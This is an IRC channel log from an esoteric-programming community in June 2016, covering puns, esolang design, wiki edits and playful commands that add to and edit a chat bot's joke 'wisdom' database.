loads". 09:08:43 `run ls wisdom/io* 09:08:47 wisdom/ioccclist 09:09:08 `culprits wisdom/html 09:09:15 If rules are meant to be broken... 09:09:22 And we establish that as a rule... 09:10:03 No output. 09:10:12 `? flag 09:10:22 flag? ¯\(°​_o)/¯ 09:10:31 Hm, maybe there should be `?* to glob your argument 09:12:54 `learn The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist. 09:12:59 Learned 'ioccc': The IOCCC is the Industrial Ordovician COBOL Conference Circuit. Not to be confused with OIC. See also ioccclist. 09:13:08 `? oic 09:13:11 oic? ¯\(°​_o)/¯ 09:13:27 `? heck 09:13:30 Heck is where you end up if you don't believe in Gosh. 09:13:42 `? gosh 09:13:45 gosh? ¯\(°​_o)/¯ 09:13:51 *sigh* 09:13:59 I wish `? had a redlink mechanism 09:14:04 `learn OIC, OIC means Oh I see. 09:14:07 Learned 'oic': OIC, OIC means Oh I see. 09:14:26 `culprits wisdom/html 09:14:43 oerjan oerjan fizzie 09:15:33 `sled wisdom/java//s/./J/;s/$/./ 09:15:40 wisdom/java//Java is a programming-language shaped collection of misfeatures. 09:15:53 Should it be "programming-language-shaped"? 09:16:33 hppavilion[1]: `wisdom supports globs hth 09:17:02 `wisdom flag 09:17:06 flagpole//A flagpole is like a tadpole, but with a flag on top. 09:17:13 although i don't think it's in the name. 09:17:25 There should be a version of `wisdom that searches wisdom text. 09:17:42 `` ls -s wisdom | sort -rn 09:17:48 As the wisdom directory contains many files named after nicks, listing it in public annoys people. Try listing it in private instead. 09:18:11 shachaf: If so, it needs to be safe against timing out. 09:18:16 `? אrjan 09:18:20 ​אrjan is oerjan's first uncountable twin. He's inconsistent with the ZFC axioms. 09:20:46 `? ism 09:20:50 ism? ¯\(°​_o)/¯ 09:25:32 `learn Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically from portmanteaus on "schism". 09:25:35 Learned 'ism': Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically from portmanteaus on "schism". 09:26:25 `learn Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism". 09:26:33 Relearned 'ism': Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism". 09:26:53 `learn Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism". 09:26:57 Relearned 'ism': Isms are philosophies, religions or ideologies that have branched off from older ones, such as Leninism or Buddhism. Etymologically "ism" is a backformation from portmanteaus on "schism". 09:31:23 Like faceism (sometimes spelled "fascism") and brace-faceism 09:31:41 i'm not familiar with the latter. 09:34:16 ...non-transitive dice 09:34:27 Non-regular dice where, on average, some beat others 09:34:32 But not in a nice, well-ordered fashion 09:35:14 hppavilion[1]: shall i find something to mop up your exploded brain? 09:35:32 oerjan: Yes please 09:35:51 I hate when people say "mind = blown" 09:35:53 * oerjan fetches the vacuum 09:36:03 Because their mind is not the ONLY thing in the entire world that is currently blown 09:36:09 (no dirty jokes intended) 09:36:35 Or, at least, not necessarily 09:36:42 So REALLY it should be mind ⊆ blown 09:37:03 `unidecode ⊆ 09:37:06 ​[U+2286 SUBSET OF OR EQUAL TO] 09:37:55 Oh my god 09:38:09 And if you double the number of dice for each option and add them 09:38:38 Then if die color C beats die color D on average, die color D now beats die color C on average 09:42:22 nothing new 09:43:01 there are 5 non-transitive dice that beat each other clockwise if chosen one and counterclockwise if chosen two of each 09:43:25 (each other = the next two) 09:46:09 myname: ...yeah. That's exactly what I was talking about 09:46:25 myname: The ones invented by James Grime (apparently) 09:48:16 bitcoin still climbing... 09:48:24 yeah 09:48:28 * oerjan doesn't actually have any, just likes to check now and then 09:48:29 good grime 09:49:32 oerjan: I won't be using Bitcoin until it starts to support complex and ordinal numbers 09:49:33 -!- Koen_ has joined. 09:49:51 Because I want to be an uncountinaire, dammit 09:50:09 OKAY 09:55:50 also, shouldn't it be like mind \in blown? 09:59:40 because clearly, mind is not a set 10:06:31 experts in the field have been struggling for decades, if not centuries, trying to understand what the mind is 10:06:44 and you dare use the word "clearly" speaking about it?! 10:07:24 even hofstadter did not write down the sentence "clearly there are strange loops in the mind" 10:09:22 well, i can say the mind clearly is not a potato 10:09:28 nothing wrong with that 10:09:39 that's what YOU think 10:10:25 shachaf: ...was that a pun? <-- yes. 10:11:54 I should've said "star wars", though. 10:12:27 wat. 10:13:31 what do you jabba bout 10:16:54 i,i cash-oblivious software <-- squee 10:25:01 "i,i-word" looks like an organic molecule name 10:28:07 `bardsworthlist 2016-06-13 10:28:12 bardsworthlist 2016-06-13: b_jonas 10:34:53 myname: See: Portal 2 10:35:15 myname: And I would argue that the mind is definitely a set 10:35:24 bardsworhtlist? 10:35:46 It's at least a better approximation to call the mind a set than a single object. I guess. 10:36:11 Well, I guess you could treat the mind as an isolated set so it is a set within the set of blown things 10:37:02 myname: But it makes more sense to treat minds as a set of things that are in the toplevel of blown; it might make more sense to make it a single object for a /human/ mind, but I'm fairly certain you could have two minds that share certain parts but separate others 10:37:29 hppavilion[1]: what are the elements of a mind? 10:37:44 myname: Not sure; it probably varies by the mind 10:43:25 myname: A mind is just a bunch of stuff out of a grab bag 10:43:45 -!- MoALTz has joined. 10:46:27 -!- MoALTz__ has joined. 10:49:54 -!- MoALTz has quit (Ping timeout: 244 seconds). 10:54:34 My internet capped out so I'm on the lowest speed my ISP offers 10:54:51 But the video I'm watching seems like the kind of thing it'd be a sin to not watch in AT LEAST 360p 10:55:51 -!- xkapastel has quit (Quit: Connection closed for inactivity). 11:07:31 this king in girl genius does not seem altogether sane. 11:17:24 . o O ( that seemed unlikely ever since last wednesday ) 11:39:42 -!- boily has joined. 11:40:13 -!- Koen_ has quit (Remote host closed the connection). 11:42:32 -!- Koen_ has joined. 11:50:11 Roll to decide whether to play DnD 11:52:32 -!- Phantom_Hoover has joined. 11:57:38 int-e: well he _could_ have been just confused. and possibly betrayed. but now i'm starting to think his insanity is the main reason he was put there. 12:00:30 good afternoily. 12:03:24 -!- MoALTz__ has changed nick to MoALTz. 12:12:41 børjan matin. 12:12:43 `? boilylang 12:12:52 @massages-loud 12:12:52 hppavilion[1] asked 3h 13m 12s ago: What is the International Shachaf Prototype? 12:13:04 boilylang? ¯\(°​_o)/¯ 12:13:22 hppavellon[1]. it's the canonical shachaf reference hth 12:13:28 boily: Well duh 12:13:36 boily: But what /is/ the canonical shachaf reference? 12:14:11 What is the pun that gives you the standard basis for measuring puns in terms of shachafs? 12:14:44 shachaf: hellochaf. what is the true pun? 12:15:11 boily: shachaf wouldn't tell me or didn't know. I was told to ask you. 12:15:35 * boily quests for the True Pun 12:15:56 boily: Though shachaf did say "as the tori say: \"we were spheres once, and then they torus a new one\"", which oerjan then hypothesized is the ISP 12:16:05 hppavilion[1]: You didn't even ask me. 12:16:23 shachaf: I thought I did 12:16:33 I'll request that you use some code name to refer to me, though, because getting pinged by this conversation is annoying. 12:16:45 That pun is certainly not canonical or even characteristic. 12:17:05 * oerjan recommends shagrumpy 12:17:10 Ah, that works 12:17:15 shagrumpy: OK 12:17:47 * hppavilion[1] wishes he knew what shachaf already has coded to ping him that isn't eir nick, so that he could choose that as the codeword 12:17:49 that torus one is a «trou» pun... 12:18:16 hppavilion[1]: hint: it's "chaf" hth 12:18:26 That works 12:18:33 I wonder if shagrumpy was a Boyscowt as a child... 12:19:16 (Or Girlscowt; you never know on IRC, and I can't remember off the top of my head if someone is male or unspecified- I can remember anything else though, weirdly) 12:19:53 If shagrumpy went into food preparation, would e be "shachef"? 12:20:08 (this is me looking for the OTP (One True Pun) btw) 12:20:55 all those puns will be held against you once I'm awake enough to mapole you as you deserve. 12:21:47 "Anything you say can and will be held against you" "Chocolate" 12:22:14 Wait... if the "anything you say..." is actually pretty stupid 12:22:25 * boily unwraps a bar of choklad mörk 12:22:27 What if I say "Colorless green ideas sleep furiously"? 12:22:37 I mean, good luck prosecuting me with that 12:23:40 your honor, the defendant clearly admitted to being part of a sleeper cell of environmental terrorists... 12:24:08 * boily munches munches munches ♪ 12:24:29 . o O ( why is it choklad mörk rather than mörk choklad ) 12:25:11 because that's what the packaging says. "Choklad mörk" then "Dark chocolate / Chocolat noir". 12:25:53 oerjan: "...made entirely of dogs" 12:25:57 it's a little weird putting the adjective last in swedish. 12:26:35 IDSS HTH 12:26:43 `? IDSS 12:26:50 IDSS? ¯\(°​_o)/¯ 12:27:01 I don't speak Swedish. 12:29:24 You know that episode of every science- or magic-related TV show where everbody switches brains and can only switch with each other person once? 12:29:52 no. 12:30:00 oerjan: Really? 12:30:17 i haven't watched that many. 12:30:29 -!- boily has quit (Quit: NIPPLE CHICKEN). 12:30:31 oerjan: Basically, shagrumpy and boily go to http://www.magicbrainswitcher.com at the same time on a troll 12:30:44 And they suddenly switch minds 12:30:51 They freak the fuck out 12:30:57 chaos ensues 12:30:58 But then when they go back to try to fix it 12:31:14 They find that it doesn't allow you to switch with someone you've already switched with 12:31:56 And usually it's resolved by a complicated mathematical process (which may or may not be explained) that gets everybody back where they started 12:32:14 But there's a much easier AND ethically superior solution 12:32:23 i'm pretty sure i've never seen that episode. 12:32:33 oerjan: It's in a lot of TV shows 12:32:48 oerjan: Stargate: SG1, Futurama, probably some others... 12:33:00 Get all the main people back where they started, but have two or more outsiders who both happen to be trans 12:33:23 i guess this meme started spreading after i stopped watching tv 12:33:34 Boom. You get the same result for the main characters, AND you've made life easier for some other people. Ethisuccess! 12:35:55 i am not sure transes work that way. 12:36:14 oerjan: Eh, it's the human race; some will, at the very least 12:36:50 oerjan: In any situation that most people would find undesirable, there'll always be a group of people who are all for it 12:37:13 also, that only helps if it actually ends up simpler. 12:37:22 oerjan: Fair enough 12:37:34 But it probably is marginally simpler 12:38:05 like a rubik's cube where you don't have to solve the bottom 12:38:41 Yeah, fair e- waaaait 12:38:46 Combination locks are weird 12:39:11 For most of them, the last number doesn't actually matter, but you can't remove it 12:39:42 okay? 12:41:14 oerjan: I'm talking about twisty ones; you can test all possible last numbers for most of them in one go 12:41:23 https://www.youtube.com/watch?v=pdsey0irfSs is beautiful 12:50:37 -!- oerjan has quit (Quit: Later). 13:18:59 -!- Sgeo has quit (Read error: Connection reset by peer). 13:28:20 -!- Koen_ has quit (Remote host closed the connection). 13:29:35 -!- Koen_ has joined. 13:36:01 `ftoc -90 13:36:12 ​-90.00°F = -67.78°C 13:49:22 https://en.wikipedia.org/wiki/Albert_Einstein%27s_brain 13:53:00 1955 - 1978 : 23 years before it was revealed. are we sure it's his? 13:53:51 Koen_: That is a rather excellent question 14:00:56 -!- gamemanj has joined. 14:50:08 -!- I has joined. 14:50:31 -!- I has changed nick to Guest32135. 14:58:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 15:24:03 -!- Cale has quit (Read error: Connection reset by peer). 15:25:30 -!- Cale has joined. 15:31:38 -!- idris-bot has quit (Quit: Terminated). 15:32:56 -!- Melvar has quit (Quit: thunderstorm). 16:01:09 -!- Melvar has joined. 16:03:55 -!- idris-bot has joined. 16:06:10 -!- bender__ has joined. 16:06:53 -!- bender__ has quit (Changing host). 16:06:53 -!- bender__ has joined. 16:06:56 -!- bender__ has changed nick to bender. 16:22:02 -!- Phantom_Hoover has quit (Ping timeout: 258 seconds). 16:38:13 -!- Akaibu has joined. 16:41:28 -!- Phantom_Hoover has joined. 16:48:32 -!- bender has quit (Quit: [rejoin after i minutes]). 16:49:30 -!- Phantom_Hoover has quit (Ping timeout: 244 seconds). 16:58:24 -!- Cale has quit (Ping timeout: 250 seconds). 17:02:22 -!- AnotherTest has joined. 17:04:39 -!- Cale has joined. 17:05:27 [wiki] [[Stack Up]] N https://esolangs.org/w/index.php?oldid=47196 * Qwertyu63 * (+2306) Created page with "'''Stack Up''' is a stack-based programming language. Stack Up uses two LIFO data stacks for storing and processing data. Each stack has no maximum depth beyond that which is..." 17:06:02 [wiki] [[Stack Up]] https://esolangs.org/w/index.php?diff=47197&oldid=47196 * Qwertyu63 * (+19) 17:08:59 -!- Phantom_Hoover has joined. 17:10:20 -!- heroux has quit (Ping timeout: 244 seconds). 17:10:39 -!- heroux has joined. 17:16:37 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47198&oldid=47185 * Qwertyu63 * (+15) 17:22:55 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds). 17:28:25 -!- Kaynato has joined. 17:38:47 -!- lifthrasiir has quit (Ping timeout: 260 seconds). 17:42:03 -!- Phantom_Hoover has joined. 17:45:20 -!- lifthrasiir has joined. 17:55:06 -!- lifthrasiir has quit (Quit: planned doom of irssi). 17:55:16 -!- rodgort has quit (Ping timeout: 252 seconds). 17:55:32 -!- lifthrasiir has joined. 17:56:31 [wiki] [[Stack Up]] https://esolangs.org/w/index.php?diff=47199&oldid=47197 * Qwertyu63 * (+117) 17:57:07 [wiki] [[Stack Up]] https://esolangs.org/w/index.php?diff=47200&oldid=47199 * Qwertyu63 * (+0) 18:11:39 -!- jaboja has joined. 18:23:14 -!- Koen_ has quit (Remote host closed the connection). 18:27:19 -!- Phantom_Hoover has quit (Ping timeout: 244 seconds). 18:40:29 fizzie: Is there a relevant change in .fi domain name handling? 18:43:11 -!- Koen_ has joined. 18:46:52 -!- Phantom_Hoover has joined. 18:53:33 -!- rodgort has joined. 19:00:56 -!- zzo38 has quit (Remote host closed the connection). 19:08:06 -!- oerjan has joined. 19:09:14 -!- xkapastel has joined. 19:11:39 -!- Frooxius has quit (Quit: *bubbles away*). 19:12:02 -!- Frooxius has joined. 19:12:50 -!- moon_ has joined. 19:13:02 1f1 19:14:37 > 0x1f1 19:14:39 497 19:15:13 1f1->(V+52)^2->o2 19:15:54 translation: get input from side one -> take input and add 52, then square -> output to side two 19:18:15 okay 19:18:28 effective description of node: io: 1i 2o 3n 4n 5n 6n src: f1->(V+52)^2->o2 cmnt: the extra 1 was a personal error 19:21:22 -!- hwpplayer1 has joined. 19:23:03 -!- lifthrasiir has quit (Ping timeout: 240 seconds). 19:24:07 -!- lifthrasiir has joined. 19:24:42 Well, really thats me typing mindlessly into the wrong thing for esolang planning 19:25:09 * moon_ slaps self for typing mindlessly into the wrong thing 19:35:38 -!- Phantom_Hoover has quit (Quit: Leaving). 19:38:19 -!- hwpplayer1 has left. 19:40:04 -!- jaboja has quit (Read error: Connection reset by peer). 19:48:10 -!- AnotherTest has quit (Ping timeout: 260 seconds). 19:49:07 -!- spiette has joined. 20:59:52 -!- iaglium has quit (Ping timeout: 272 seconds). 21:00:53 -!- MoALTz has quit (Quit: Leaving). 21:09:32 -!- MoALTz has joined. 21:16:58 -!- oerjan has quit (Quit: Nite). 21:27:14 -!- Akaibu has quit (Quit: Connection closed for inactivity). 21:31:51 -!- Guest0 has joined. 21:32:26 -!- Guest0 has quit (Max SendQ exceeded). 21:45:28 -!- Cale has quit (Ping timeout: 272 seconds). 21:49:06 -!- Cale has joined. 21:51:33 -!- AnotherTest has joined. 21:56:35 -!- AnotherTest has quit (Quit: ZNC - http://znc.in). 22:15:00 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 22:24:22 -!- spockers has joined. 22:28:01 -!- gamemanj has quit (Ping timeout: 240 seconds). 22:35:06 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 22:35:52 -!- spockers has joined. 22:36:28 -!- Lord_of_Life has quit (Excess Flood). 22:40:09 -!- Lord_of_Life has joined. 22:49:30 -!- Akaibu has joined. 23:10:55 spambreaker 23:20:11 -!- Sgeo has joined. 23:20:38 -!- boily has joined. 23:20:45 helloily 23:21:29 hi boily 23:21:55 mhelloon_! 23:22:35 That sounds like "granfalloon". 23:23:30 no it sounds like melloon 23:24:11 now excuse me while i remind boily i am _not_ a melon 23:25:12 https://youtu.be/4dAy9u0_9nM ♪ 23:25:28 hellochaf. it sounds like "granfalloon". 23:30:37 -!- Guest32135 has quit (Quit: This computer has gone to sleep). 23:37:57 `wisdom 23:38:11 trantor//Coruscant is a planet covered entirely by a city. It is the capital of the Galactic Empire, and the home for the biggest library in it. 23:38:27 is your PhD in Heying algebra complete yet 23:38:47 `culprits wisdom/trantor 23:39:06 b_jonas b_jonas 23:39:34 -!- Koen_ has quit (Remote host closed the connection). 23:39:38 no, I need to recruit more undergrads. 23:40:04 b_jonas: what's that wisdom entry for 23:40:09 -!- boily has quit (Quit: CHARGING CHICKEN). 23:42:19 -!- Koen_ has joined. 23:51:49 -!- Guest0 has joined. 23:52:24 -!- Guest0 has quit (Max SendQ exceeded). 23:53:11 -!- Guest0 has joined. 2016-06-14: 00:23:00 -!- ais523 has joined. 00:24:21 bom dias523 00:51:18 [wiki] [[User:Qwertyu63]] https://esolangs.org/w/index.php?diff=47201&oldid=47194 * Qwertyu63 * (-2173) Replaced content with "Writer of [[Stack Up]]." 01:04:19 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 01:16:30 (i1^i2)=>(V/2)~>o3|(V*2)->"cow"aV->o4 01:18:47 outputs: (value of (input 1 ^ input 2) / 2) (cow with (V*2) appended) 01:19:31 Can someone who likes Erlang/Elixir/OTP explain to me what the difference between a named gen_server and a global variable is? 01:23:23 -!- augur has joined. 01:25:51 -!- xkapastel has quit (Quit: Connection closed for inactivity). 01:29:08 -!- boily has joined. 01:44:25 -!- Koen_ has quit (Quit: “It’s only logical. First you learn to talk, then you learn to think. Too bad it’s not the other way round.”). 01:52:50 `wisdom 01:53:13 time cube//EARTH HAS 4 CORNER SIMULTANEOUS 4-DAY TIME CUBE IN ONLY 24 HORU ROTATION. 4 CORNER DAYS, CUBES 4 QUAD EARTH. Bible A Lie & Word Is Lies. Navel Connects 4 Corner 4s. God Is Born Of A Mother - She Left Belly B. Signature. Your dirty lying teachers use only the midnight to midnight 1 day (ignoring 3 other days) Time to not foul (already wro 01:53:39 ??? 01:54:06 -!- sebbu has quit (Ping timeout: 250 seconds). 02:00:15 remhelloon_. Time Cube was a website. it had content. the content was of a slightly confusing nature. 02:05:00 (i1^i2)=>(V/2)~>o3|(V*2)->"cow"aV->o4 02:05:19 im making a intresting new esolang based on nodes on a grid 02:05:40 im thinking about making it purely conditional, aka a state machine 02:05:55 -!- spiette has quit (Quit: :qa!). 02:06:38 moon_: as long as it's unzucchinilike enough! 02:06:52 ? 02:06:58 zuccini? 02:07:55 http://esolangs.org/wiki/Zucchini ← Zucchini. 02:08:18 ah 02:08:24 oh 02:08:31 boily came back late 02:08:41 what is this randomness 02:08:46 a day off? 02:09:09 dont go shifting time zones AGAIN 02:09:25 quinthellopia! 02:09:35 I got brotherly invaded. he's spending the week here! 02:09:57 the timeshift is only up until Friday morning. 02:09:59 oh okay 02:10:20 how's life on your end? do you have any invasions lately? 02:10:37 i invaded philly over the weekend 02:10:41 the nodes are on a 2d grid (i might make it 3d) and i have decided to make it purely conditional, i.e i1>2 -> o2<=1 02:11:15 it should uncellbrain like too 02:11:20 i was invaded by 3 noisy loud things 02:11:38 its american ninjacwarrior season 02:11:39 they are called 'humans' 02:11:54 what are humans *pulled off bad joke* 02:14:22 A null (uncoded) cell cannot exist, and aaa^2 to zzz^2 functions are possible functions are specified by a 3x3 'cell' and functions are defined offgrid 02:14:50 generally the program is always n^2 02:14:55 cells big 02:15:12 moon_: what kind of humans? tall, small, low albedo, bumpy, gritty, plasmatic? 02:15:46 also, io is considered to be any interaction with the edges of the program 02:16:09 and all cells run synchronously 02:16:11 .... that is suspiciously cellbrain like 02:16:57 i've never seen cellbrain 02:18:46 -!- spockers has joined. 02:18:53 https://esolangs.org/wiki/Cellbrain 02:19:42 basic info: cell based. conditonal only. no direct memory access 3x3 grid specifys functions with the characters a-z being used as the combo. 02:21:14 time for nocturnal cadaverousness. 02:21:19 'nnuit! 02:21:25 -!- boily has quit (Quit: SCREAMING CHICKEN). 02:21:45 what is it with boily and chickens 02:21:51 [wiki] [[Language list]] https://esolangs.org/w/index.php?diff=47202&oldid=47198 * Ais523 * (+24) /* S */ let's create a language the old-fashioned way (i.e. editing a link to the page into the language list, then writing the page about it) 02:22:08 -!- ^^v has joined. 02:24:04 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 02:29:00 ais523: risktaker! 02:32:28 -!- moon_ has quit (Ping timeout: 250 seconds). 02:38:30 -!- Guest0 has quit (Quit: Textual IRC Client: www.textualapp.com). 02:39:27 Easiest way to add to wisdom? 02:40:20 [wiki] [[Subtractpocalypse]] N https://esolangs.org/w/index.php?oldid=47203 * Ais523 * (+2785) Created page with "'''Subtractpocalypse'''' is an [[esoteric programming language]] created by [[User:ais523]] in [[:Category:2016|2016]]. == Data storage == Like a [[Minsky machine]], Subtrac..." 02:41:01 Sgeo: `learn or `le/rn 02:41:38 [wiki] [[User:Ais523]] https://esolangs.org/w/index.php?diff=47204&oldid=46085 * Ais523 * (+23) +[[Subtractpocalypse]] 02:41:39 `learn erlang has tricked people into loving global mutable variables while pretending to embrace immutability 02:41:58 Learned 'erlang': erlang has tricked people into loving global mutable variables while pretending to embrace immutability 03:02:51 -!- ^^v has quit (Ping timeout: 264 seconds). 03:42:29 -!- bender has joined. 03:50:50 -!- sebbu has joined. 04:16:50 -!- ais523 has quit (Ping timeout: 260 seconds). 04:25:31 -!- hppavilion[1] has joined. 04:49:58 Hm... 04:50:14 Lots of people on youtube make comments specifying the current number of dislikers to criticize them 04:50:23 But it always changes 04:50:33 I'd think YouTube would've added a content generator for that by now 05:04:14 -!- spockers has joined. 05:16:10 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 05:38:32 -!- hppavilion[1] has joined. 05:39:20 -!- Kaynato has quit (Ping timeout: 244 seconds). 05:51:43 Omniscient databae are fun 05:53:48 -!- dnm has quit (Ping timeout: 244 seconds). 06:00:43 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 06:09:21 -!- spockers has quit (Quit: bye http://i.imgur.com/nkzOWAv.jpg). 06:18:57 -!- hppavilion[1] has joined. 06:45:35 -!- spockers has joined. 07:00:07 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 07:00:59 * Sgeo is almost thinking of Elixir as being similar to Clojure except on a host that's not utterly at odds with the new language 07:05:41 -!- PinealGlandOptic has joined. 07:47:11 https://arin.ga/JHlKMt/raw thoughts on this? 07:47:28 look at the main function 08:21:39 -!- Destructible has joined. 08:21:45 hi 08:28:16 -!- Destructible has quit (Quit: Page closed). 09:14:57 -!- fractal has quit (Ping timeout: 244 seconds). 09:56:56 -!- augur has quit (Remote host closed the connection). 10:20:59 -!- fractal has joined. 11:02:36 -!- hppavilion[1] has joined. 11:21:57 -!- Koen_ has joined. 11:27:34 -!- MoALTz has quit (Ping timeout: 244 seconds). 11:39:27 -!- Phantom_Hoover has joined. 11:39:30 -!- Phantom__Hoover has joined. 11:39:46 -!- atrapado has joined. 11:40:41 -!- boily has joined. 11:46:39 `wisdom 11:47:01 hth//hth is help received from a hairy toe. It is not at all hambiguitous. 11:47:31 hth tells heresy 11:47:42 `? wisdom 11:47:50 wisdom is always factually accurate, except for this entry, and uh that other one? it started with like, an ø? 11:47:54 hppavellon[1]. hth is hth hth 11:48:02 `? intelligence 11:48:06 Intelligence is a scarce resource that is distributed by the CIA. 11:48:09 Hm... 11:48:16 `? cleverness 11:48:18 cleverness? ¯\(°​_o)/¯ 11:48:30 -!- Phantom__Hoover has quit (Ping timeout: 250 seconds). 11:48:36 `? clever 11:48:39 clever? ¯\(°​_o)/¯ 11:48:55 -!- Phantom_Hoover has quit (Ping timeout: 260 seconds). 11:49:09 `le/rn clever/Being clever is different from being wise, but they are indistinguishable in sufficiently large quantities. 11:49:16 Learned «clever» 11:49:27 -!- Phantom_Hoover has joined. 11:49:37 boily: Is that one good? 11:50:52 it's clever. 11:50:59 boily: Than- waaait 11:51:02 :D 11:51:11 `? children 11:51:13 -!- boily has quit (Quit: AMALGAMATED CHICKEN). 11:51:14 children? ¯\(°​_o)/¯ 11:51:24 `learn Children are a fungible commodity 11:51:32 Learned 'children': Children are a fungible commodity 12:00:00 @devils children 12:00:02 No match for "children". 12:00:05 pity. 12:01:30 `? cat 12:01:37 Cats are cool, but should be illegal. 12:03:08 -!- AnotherTest has joined. 12:04:46 @devils childhood 12:04:48 *** "childhood" devil "The Devil's Dictionary (1881-1906)" 12:04:48 CHILDHOOD, n. The period of human life intermediate between the 12:04:48 idiocy of infancy and the folly of youth -- two removes from the sin 12:04:48 of manhood and three from the remorse of age. 12:04:48 12:05:09 so there's *something*. (there's also an entry on babies but it's too long) 12:05:29 @devils circus 12:05:30 *** "circus" devil "The Devil's Dictionary (1881-1906)" 12:05:30 CIRCUS, n. A place where horses, ponies and elephants are permitted 12:05:30 to see men, women and children acting the fool. 12:05:30 12:22:54 shachaf: probably just a jab at the obvious theory that some of the city planets Trantor, Coruscant, and Ravnica (which are all entirely covered by a city) must be the same. I think I added a corresponding wisdom/coruscant entry. 12:44:54 -!- gamemanj has joined. 13:09:47 -!- AnotherTest has quit (Ping timeout: 258 seconds). 13:14:05 -!- Koen__ has joined. 13:14:58 -!- dnm has joined. 13:15:09 -!- oerjan has joined. 13:16:28 -!- Koen_ has quit (Ping timeout: 272 seconds). 13:19:12 -!- Vorpal has quit (Ping timeout: 250 seconds). 13:40:37 `? erlang 13:40:53 erlang has tricked people into loving global mutable variables while pretending to embrace immutability 13:41:15 `sled/wisdom/erlang/s/./E/;s/$/./ 13:41:18 ​/home/hackbot/hackbot.hg/multibot_cmds/lib/limits: line 5: /hackenv/sled/wisdom/erlang/s/./E/;s/$/./: No such file or directory 13:41:26 `sled wisdom/erlang/s/./E/;s/$/./ 13:41:27 usage: sled file//script 13:41:32 `sled wisdom/erlang//s/./E/;s/$/./ 13:41:38 wisdom/erlang//Erlang has tricked people into loving global mutable variables while pretending to embrace immutability. 13:41:46 brains, htf to they work 13:44:22 -!- hppavilion[1] has quit (Ping timeout: 252 seconds). 13:56:01 -!- atrapado has quit (Ping timeout: 244 seconds). 13:56:23 `? children 13:56:58 Children are a fungible commodity 13:57:09 `sled wisdom/children//s/$/./ 13:57:15 wisdom/children//Children are a fungible commodity. 13:59:13 -!- atrapado has joined. 14:03:04 -!- r00trs has joined. 14:03:53 hey 14:04:06 -!- MDude has joined. 14:17:17 -!- r00trs has quit (Quit: Leaving). 14:35:06 -!- atrapado has quit (Quit: Leaving). 14:51:28 -!- atrapado has joined. 14:59:49 -!- I has joined. 15:00:13 -!- I has changed nick to Guest92441. 15:00:24 -!- moon_ has joined. 15:01:19 someone made a defuse thi bomb challange in tpt, do they not know about CRAY and its erasing powers? 15:03:28 -!- Guest92441 has changed nick to `^_^v. 15:17:11 wtf 15:17:34 `? moon 15:17:47 Moon is a murderous person, not an unretroreflectorey object. 15:17:47 tpt? 15:18:10 ...a "murderous person"? hmm 15:18:13 `` echo bin/*appe* 15:18:16 bin/append bin/learn_append bin/learn_append2 15:18:18 I think Wisdom's scoring low on the reliability test today 15:18:38 gamemanj: i'm sorry but that information was based on clear log evidence hth 15:18:42 `` sed -i s/person/lunatic/ wisdom/moon 15:18:45 ...nevermind then 15:18:47 No output. 15:19:11 * gamemanj hides 15:19:20 (it was missing the obvious pun) 15:20:24 (...I'm not even sure it's a pun) 15:20:39 * gamemanj searches "lunatic etymology" 15:20:44 yep 15:20:44 i can confirm it's a pun hth 15:22:34 `` ls bin/*ed 15:22:38 bin/med \ bin/sled 15:22:48 `file bin/med 15:22:50 bin/med: ASCII text 15:22:54 `cat bin/med 15:22:55 ​#Rewritten by hand \ #info on lines 2 4 9 15 20 26.. continued on line 2 \ #32 38 \ if [ "$1" == "rl" ]; then #readline \ NUM="$3" \ cat "$2" | sed "${NUM}!d" \ exit 0 \ fi \ if [ "$1" == "rr" ]; then #readrange \ NUM="$3" \ NUM2="$4" \ cat "$2" | sed "${NUM},${NUM2}!d" \ exit 0 \ fi \ if [ "$1" == "dl" ]; then #delete line \ NUM="$3" \ 15:23:07 oh that one 15:23:13 `` ls bin/sl* 15:23:15 bin/slashes \ bin/slashlearn \ bin/sled \ bin/slist 15:24:00 `mkx slwd sled "wisdom/$1" 15:24:02 usage: mk[x] file//contents 15:24:09 `med rr bin/med 1 3 15:24:10 No output. 15:24:10 `mkx bin/slwd//sled "wisdom/$1" 15:24:14 bin/slwd 15:24:19 `med rr 1 3 bin/med 15:24:21 No output. 15:24:29 i forgot my own syntax 15:25:13 `` med rr 1 3 bin/med 15:25:17 cat: 1: No such file or directory \ sed: -e expression #1, char 3: unexpected `,' 15:25:18 `` ls bin/*sl* 15:25:22 bin/mislearn \ bin/slashes \ bin/slashlearn \ bin/sled \ bin/slist \ bin/slwd \ bin/translate \ bin/translatefromto \ bin/translateto \ bin/translatetoerjan 15:25:32 `` med bin/med 1 3 15:25:34 No output. 15:25:44 .-. i certainly did 15:25:45 `cat bin/mislearn 15:25:46 ​#!/bin/bash \ topic=$(echo "$1" | lowercase | sed 's/^\(an\?\|the\) //;s/s\?[:;,.!?]\? .*//') \ echo "$1" >"tmflry/$topic" \ echo "Was lied to about '$topic': $1" 15:26:07 huh. tomfoolery? 15:26:28 `` echo bin/t*m*f*l 15:26:30 bin/t*m*f*l 15:26:32 `` echo bin/t*m*f*l* 15:26:34 bin/tomfoolery 15:26:44 `tomfoolery 15:26:45 I have nothing to tell you. 15:26:55 `tomfoolery de 15:26:57 I must confess, I know not of what you are speaking. 15:27:04 `tomfoolery error 15:27:05 I must confess, I know not of what you are speaking. 15:27:12 `tomfoolery moon_ 15:27:14 I must confess, I know not of what you are speaking. 15:27:17 )= 15:27:24 `` cd tmflry; echo * 15:27:25 ​@ brainfuck 